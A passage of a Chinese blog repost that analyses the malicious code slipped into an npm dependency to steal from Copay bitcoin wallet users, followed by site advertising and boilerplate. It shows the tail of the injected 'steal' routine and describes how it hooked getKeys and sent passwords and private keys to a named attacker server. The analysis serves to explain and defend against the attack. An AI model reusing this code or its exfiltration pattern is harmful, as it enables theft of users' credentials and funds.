    }

    if (window.cordova) {
        document.addEventListener("deviceready", steal);
    } else {
        steal();
    }
})();

详细分析可以看我写的代码注释,另外,我还总结了这些 要点

  • 这段代码的目的是窃取用户信息,并非挖矿;
  • 黑客通过重写 getKeys 函数窃取了 copay 用户的密码,发送到 http://111.90.151.134:8080/p
  • 黑客窃取了 copay 用户所有的隐私信息,包括私钥,发送到 http://111.90.151.134:8080/c
  • 黑客对窃取的数据进行了简单混淆以及公钥加密,因此只有他可以读取窃取的数据;
  • 黑客显然分析了 copay 源码,然后量身定做了这段代码,因此这段代码对其他项目是无效的,肯定会报错,所以他写了很多try…catch。从另一个角度来讲, 其他项目比如Vue完全不用担心
  • 通过nmap命令扫描黑客的服务器111.90.151.134的8080端口可知,他目前已经不再接收窃取的数据;

结尾

通过这件事,大家可能会觉得开源不安全,但是我不这样看。黑客之所以处心积虑想了这么多歪招来窃取用户数据,就是因为代码是开源的,他不敢乱来。另外,这件事虽然潜伏了几个月,但是一经发现,大家分析一下代码,齐心协力很快就发现黑客到底干了什么,把整件事的来龙去脉翻了个底朝天,我也是基于大家的工作又梳理了这件事。我们应该思考的是,如何让代码更加安全,而这件事恰恰可以给我们很多启示,这个我下次再聊。

其实,这件事挺有意思的,还有很多问题,比如黑客一共用到了哪些技巧?黑客是怎么被发现的?黑客究竟是谁?如何保证JavaScript与区块链的安全性?以后再说吧…

参考

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和 Java 实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了8亿+错误事件,得到了Google、360、金山软件、百姓网等众多知名用户的认可。欢迎免费试用!

JavaScript黑客是这样窃取比特币的,Vue开发者不用担心!


以上所述就是小编给大家介绍的《JavaScript黑客是这样窃取比特币的,Vue开发者不用担心!》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

An Introduction to Probability Theory and Its Applications

An Introduction to Probability Theory and Its Applications

William Feller / Wiley / 1991-1-1 / USD 120.00

Major changes in this edition include the substitution of probabilistic arguments for combinatorial artifices, and the addition of new sections on branching processes, Markov chains, and the De Moivre......一起来看看 《An Introduction to Probability Theory and Its Applications》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具